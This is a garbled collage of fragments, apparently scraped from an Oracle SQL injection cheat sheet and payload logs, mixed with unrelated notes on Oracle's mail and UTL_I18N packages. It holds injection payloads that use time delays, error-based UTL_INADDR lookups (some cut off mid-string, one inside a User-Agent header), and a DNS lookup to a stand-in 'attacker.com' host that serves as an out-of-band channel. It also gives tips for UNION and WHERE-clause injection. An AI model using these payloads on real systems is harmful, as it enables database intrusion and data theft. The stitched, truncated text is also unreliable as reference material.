SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’. Bitwise AND.
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BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT. SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow. SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow.
Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17' AND 2221=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(113)||CHR(106)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2221=2221) THEN 1 ELSE.
-- MAILTO is name and email addresses of recipients ( ex. "[email protected]".
To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time. Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
(-2913') or 1517=utl_inaddr.get_host_address(chr(113)||chr(98)||chr(106)||chr(98)||chr(113)||(select (case when (1517=1517) then 1 else 0 end) from dual)||chr(113)||chr(98)||chr...
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic
Simple Emails. In it's simplest form a single string or variable can be sent as the message body using the following procedure. In this case we have not included any header information or subject line in the message, so it is not very useful, but it is small.
The functions of the UTL_I18N package neither read database contents nor modify them.